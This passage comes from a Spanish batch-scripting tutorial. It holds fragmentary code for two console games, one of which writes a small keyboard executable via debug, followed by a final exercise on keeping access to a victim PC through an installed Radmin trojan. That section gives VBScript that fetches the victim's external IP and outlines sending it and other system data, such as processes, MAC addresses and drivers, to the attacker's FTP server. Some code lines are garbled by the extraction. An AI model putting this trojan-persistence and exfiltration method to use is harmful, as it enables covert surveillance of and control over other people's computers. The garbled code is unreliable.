Set "d=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz =/\()[]
{}_-.:,;* @#"
:Key.B
Set "chr=!%1:~,1!"
For /l %%l in (0 1 80) do if "!chr!" equ "!d:~%%l,1!" (
set /a "x=%%l^5"
call set "c=!c!%%d:~!x!,1%%"
)
Set "%1=!%1:~1!"
If defined %1 goto:Key.B
Set "%1=!c!"
Goto :Eof
:::::::::::::::::::::::
:Clear
For /l %%m in (0,1,%LimY%) do (Set Lin_%%m=)
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Goto :Eof
:Lost
Cls
Echo.
Echo. Space Invaders by Smart
Echo.
Echo.
Has Perdido !
Echo.
Echo.
Points:%Points%
Echo.
Goto :End
:Win
Cls
Echo.
Echo. Space Invaders v 1
Echo. Coded by SmartGenius
Echo.
Echo. Points:%Points%
Echo.
Has Ganado !
Goto :End
:End
Echo.
Echo.
Gracias por Jugar
Echo. Space Invaders by Smart
Endlocal
Ping -n 3 localhost >nul
Exit
:::::::::::::::::::::::::::::::::
:Player
Set Player_Init=X6Y16,X7Y16,X8Y16,X7Y15
Set Player=%Player_Init%
For %%b in (%Player%) do (Set "%%b=%Bound%")
Goto :Eof
:Map
For %%a in (
X2Y13,X3Y12,X3Y13,X4Y12,X4Y13,X5Y13,
X8Y13,X9Y12,X9Y13,X10Y12,X10Y13,X11Y13,
X14Y13,X15Y12,X15Y13,X16Y12,X16Y13,X17Y13
) do (Set "%%a=%Bound2%")
For %%b in (
X2Y2,X2Y4,X4Y3,X6Y2,X6Y4,X8Y3,X10Y2,X10Y4,
X12Y3,X14Y2,X14Y4,X16Y3,X18Y2,X18Y4
) do (
Set "Invaders=!Invaders!,%%b"
Set "%%b=%Invader%")
Set "Invaders=%Invaders:~1%"
Set /a "N_Invaders=14"
Goto :Eof
::_0
::_0
::_0
::_0
::_0
::_0
xxxxxxxxxxxxxxxxxxxxxxxxx
xx9tYjYxWvxPrXmoLjqfzpxxx
xxxxxXhXxLBINRPFGBaxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxx
xPrXmoLjqfzpx9tms-x7545xx
:Help
Cls
Call :L2 "Goto :Eof"
Echo.
Echo. How to Play Invaders ?
Echo.
Echo. Use keys A,S,W,X
Echo.
Echo. A = Move Ship Left
Echo. S = Move Ship Down
Echo. W = Throw Fire
Echo. X = Back to Menu Game
Echo.
Echo.
Pause >nul
Goto :Menu
:Logo
Cls
Color 0a
:L2
Echo.
Echo.
Echo.
Echo.
Echo.
Echo.
Echo.
Echo.
Echo. INVADER
%~1
Echo.
Echo. #####
Echo. #####
Echo.
Echo. o
Echo.
Echo. o
Echo.
Echo.
Echo.
Echo.
Echo.
Echo. : SmartGenius :
Echo. Corp. 2010
Echo.
Pause >nul
Goto :Eof
16.-Maze Madness
Personalmente le considero el mejor de los tres, aunque nunca he odido ganar XD
@echo off
@title Maze Madness
@mode con cols=22 lines=20
::Batch Game Maze Madness
::by Splendit
::Based On SmartGenius Batch Game Logics
setlocal enabledelayedexpansion
If Not Exist Keyboard.exe (Call :Keyboard)
:Vars
Set LimX=16
Set LimY=16
Set IniX=0
Set IniY=0
Set MovX=0
Set MovY=0
Set "Bound="
Set "Space= "
Set "Player=O"
Set "Limit="
Set "Exit=X"
:Init
For /l %%a in (%IniX%,1,%LimX%) do (
For /l %%b in (%IniY%,1,%LimY%) do (
Set X%%aY%%b=%Limit%))
Call :Nivel_1
Set "X4Y6=%Player%"
Set Curpos=X4Y6
Goto :Graphic
:Graphic
Call :Clear
For /l %%d in (%IniX%,1,%LimY%) do (
For /l %%e in (%IniX%,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Echo.
Echo.
For /l %%f in (0,1,%LimY%) do (echo. !Lin_%%f!)
Echo.
If Defined MovL (
Ping -n 1 localhost >nul
Call :%MovL% "%CurPos%"
Goto :Graphic
) else (
Keyboard
)
If "%errorlevel%"=="77" (call :MovX "+" "%CurPos%")
If "%errorlevel%"=="75" (call :MovX "-" "%CurPos%")
If "%errorlevel%"=="80" (call :MovY "+" "%CurPos%")
If "%errorlevel%"=="72" (call :MovY "-" "%CurPos%")
If "%errorlevel%"=="88" (pause&exit)
If "%errorlevel%"=="120" (pause&exit)
Goto :Graphic
:MovY
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
if "%%q"=="%LimY%" Goto :Eof
Set /a MovY=%%q%~11
Call Set NMovY=%%X%%pY!MovY!%%
If "!NMovY!"=="%Bound%" (Set "MovL="&Goto :Eof)
If "!NMovY!"=="%Exit%" (Goto :Win)
If "!NMovY!"=="%Limit%" (Goto :Lose)
Set X%%pY!MovY!=%Player%
Set CurPos=X%%pY!MovY!
Set MovL=MovY "%~1"
Set "%~2=%Space%")
Goto :Eof
:MovX
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
If "%%p"=="%LimX%" Goto :Eof
Set /a MovX=%%p%~11
Call Set NMovX=%%X!MovX!Y%%q%%
If "!NMovX!"=="%Bound%" (Set "MovL="&Goto :Eof)
If "!NMovX!"=="%Exit%" (Goto :Win)
14Y9,X14Y10,X14Y11,X14Y12,X14Y13,X14Y14,X15Y1,X15Y2,X15Y5,X15Y6,X15Y8,X15Y9,X
15Y10,X15Y13) do (Set %%a=%Space%)
Set "X7Y7=%Exit%"
Goto :Eof
:Keyboard
Echo. Cargando...
(
echo n keyboard.dat
echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo rcx
echo 002E
echo w0
echo q
echo.
)>keyboard.dat
type keyboard.dat|debug>NUL 2>&1
del /f/q/a "keyboard.exe">NUL 2>&1
ren keyboard.dat "keyboard.exe"
Goto :Eof
17.-Un
Y bueno, este es el ultimo ejercicio resuelto de este tuto, a su vez una de las razones
fundamentales de porque se creo.
Este ejemplo de troyano estara en medio de lo que conocemos como un RAT (troyano de conexin
inversa) y un troyano clsico como el "Radmin" de conexin directa, este programa aparece en las
primeras revistas de hackxcrack y es el que usaremos en este caso tratando de "inmortalizar" su
conexin.
Los RATs son actualmente elegidos para "auditar" seguridad en PCs remotos ya que saltean la
seguridad de los antivirus conectando la vctima a nosotros en lugar de nosotros a ellos adems de
asegurar la conexin si la IP vctima cambia.
Pero... que pasa si NUESTRA IP cambia ?? ... Pfff esta miseria no se acaba... bueno para eso
tenemos que usar lo DNS, pero...
Que pasara si instalamos un server cualquiera y creamos un cdigo para que nos enve la IP
vctima de vez en cuando, de manera que siempre podamos recuperar la conexin, sin acudir a "no
IP" ni a nada de nada ??... Pues este es el proyecto que vamos a hacer !!
Observacin:
Como mi idea principal reflejada en este tuto es sacar el mximo provecho de batch y dems esta
decir que la idea es perfeccionar una conexion asegurando la mxima correccin de errores es que
junto con WhiZ (mencionado al principio de este tuto) creamos este proyecto que combina batch,
un poco de Basic y un troyano, en este caso el Radmin, dicho sea de paso que por mi poca
experiencia "lastimosamente" tendr que hacerlo de esta manera, ya que mi idea habra sido
hacerlo o todo con batch o por lo menos todo con cdigo. pero dejemos este proyecto en
perfeccionamiento vale ??
bien, dicho todo vaymonos a la practica.
1.- Instalas un troyano: Si no sabes que hacer en este punto baja de Internet un "servidor" lo mas
completo posible y fjate en que sea compatible con tu S.O. y el de la vctima, tambin que no sea
un demo.
2.-Ahora, teniendo tu server instalado en la vctima y configurado todo pasemos a la parte de
"inmortalizar la conexin" de manera que si la IP vctima cambia o perdamos el acceso.
Dim oXMLHTTP
Dim oStream
Set oXMLHTTP = CrateObject("MSXML2.XMLHTTP.3.0")
oXMLHTTP.Open "GET", "http://www.miip.net", False
oXMLHTTP.Send
If oXMLHTTP.Status = 200 Then
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write oXMLHTTP.responseBody
oStream.SaveToFile "archivo.html"
oStream.Close
End If
...Y por ultimo, el archivo de texto, solo crea un block de notas en la carpeta de tu programa y dale
por nombre "datosftp.txt" con el siguiente contenido:
Username
pass
comando
comando
comando
Donde Username es el usuario, Pass es la clave de ingreso y comando es algn comando que
quieras activar para que se ejecute. Pra esta parte tienes que tener primeramente un servicio de
ftp, puedes obtenerlo en muchos sitios hoy en dia, muchos gratis. :)
...Em el fondo el txt es como "la llave de tu ftp"
Y entonces:
Tienes un troyano en tu victima, puedes acceder a elle constantemente, luego cambia de ip...
Buuuu :( ...
Luego revisas tu hosting ftp y lees tu archivos, veras cual es la nueva ip, re configuras tu cliente y...
Buala !! tu problema solucionado :)
Ahora, si todo esto te pareci demasiado difcil... o eres muy flojo o te falta aprender un poco de:
1-Servidores y clientes de acceso remoto (troyanos)
2-Servidiores, clientes y servicios de ftp (hosting o espacio en la red)
3- "Parmetros ftp"
3-Leerte bien el tuto y manejarte con lo bsico
Yo por mi parte mas all no puedo dar detalles, la idea es ensearte pero no puedo entregarte "en
la mano" una herramienta como esta si saber que nivel de madures usaras para ella, solo recuerda
no hacer nada que no te gustara que te hicieran a ti vale?
NOTA:
Este es el proyecto original de como nos quedo con Whiz, aunque "quedo" suena grande
considerando que en ese momento yo no sabia casi nada y los cdigos son de el, a mi solo se me
ocurri el concepto y lo pregunte en el foro.
Por otro lado, siempre con el animo de perfeccionar, cree el cdigo "bilolo" puesto en este mismo
tuto, ahora, imagina que en ves de enviar un archivo html a su hosting ftp aades el cdigo bilolo
al bat y envas:
- El html con la IP externa, pudiendo incluir la direccin fsica de -google maps
- El info.txt de bilolo con 9 tipos de informaciones distintas del sistema, versin, carpeta de
ejecucin, rbol de archivos en formato grfico, informaciones de mac, ip, SO, drivers, procesos,
etc...
-all.txt con informacin de WMIC
Pare esto solo edita el primer bat, recuerda que puede ser solo uno con todas estas funciones..
Despedida:
NOTA:
Habrs notado que algunas lineas de cdigo comienzan sin un comando al
principio, esto se debe a que el editor de texto tiene "margen de hoja", lo que
un block de notas NO TIENE, por lo que si lo copias al block veras que algunos
cdigos confusos toman forma y se hacen mas "legibles". De todos modos si no
puedes copiar el texto tendrs que bajar un editor de pdf o "ESTUDIAR" para
comprender y saber aplicar. Personalmente trate de evitar esto, pero como
algunos cdigos son de terceros no los edite y estn "tal cual" ellos los crearon
por respeto a esas personas.
Este tutorial NO TIENE derechos de autora, "COMO TODO O CASI TODO EL
MATERIAL EN EL MUNDO HACKER". La filosofa de un hacker es que el
conocimiento pertenece a todos, pero oye, nada te cuesta reconocer el esfuerzo
y no robarte el crdito, piensa que es lo nico que tengo ;(
Ahora, si usas una herramienta aqu expuesta para fines "malandras" entonces
si debes borrar el nombre ja :D
Aunque te aconsejo que tengas mucho cuidado en lo que haces, piensa bien todo
antes e actuar... Seria muy fcil crear un bat para robar la informacin valiosa de
un centro de Internet (por ejemplo), tu oficina o "el PC del jefe", pero si alguien
te demanda o te descubren ya no podrs echar pie atrs o crear un bat para salir
de la crcel o para pedir trabajo.
Piensa en ello ;)
POR ULTIMO:
En la seccin "proyectos de inters" he puesto una serie de cdigos terminados,
algunos mos y otros no para que los uses a modo de ejercicios resueltos. La
mayora estn dentro de los parmetros de este tuto, pero uno que otro se
escapa... Aquellos sern explicados en la segunda parte ya que si sigo
escribiendo ms alcanzare demasiadas paginas y no quiero hacer algo tan largo
que de solo verlo quite las ganas jeje :(
Por lo dems, tampoco soy el campen mundial de Batch, bien he dejado en
claro que este es mi primer tutorial, por favor no sean tan duros a la hora de
criticar :(
Dentro de los "proyectos de inters" hay algunos codes que aun estoy
perfeccionando (como los juegos por ejemplo), pero un vez consiga dominarlos
perfectamente podre exponerlos como es debido en el prximo tuto. Esta vez los
he puesto solo para mostrrtelos a ti y como un regalo... adems de "tapar la
boca" a quienes dicen que con batch no se puede hacer nada. Quera dejarlo
esto en claro. :D
Hasta entonces...
:)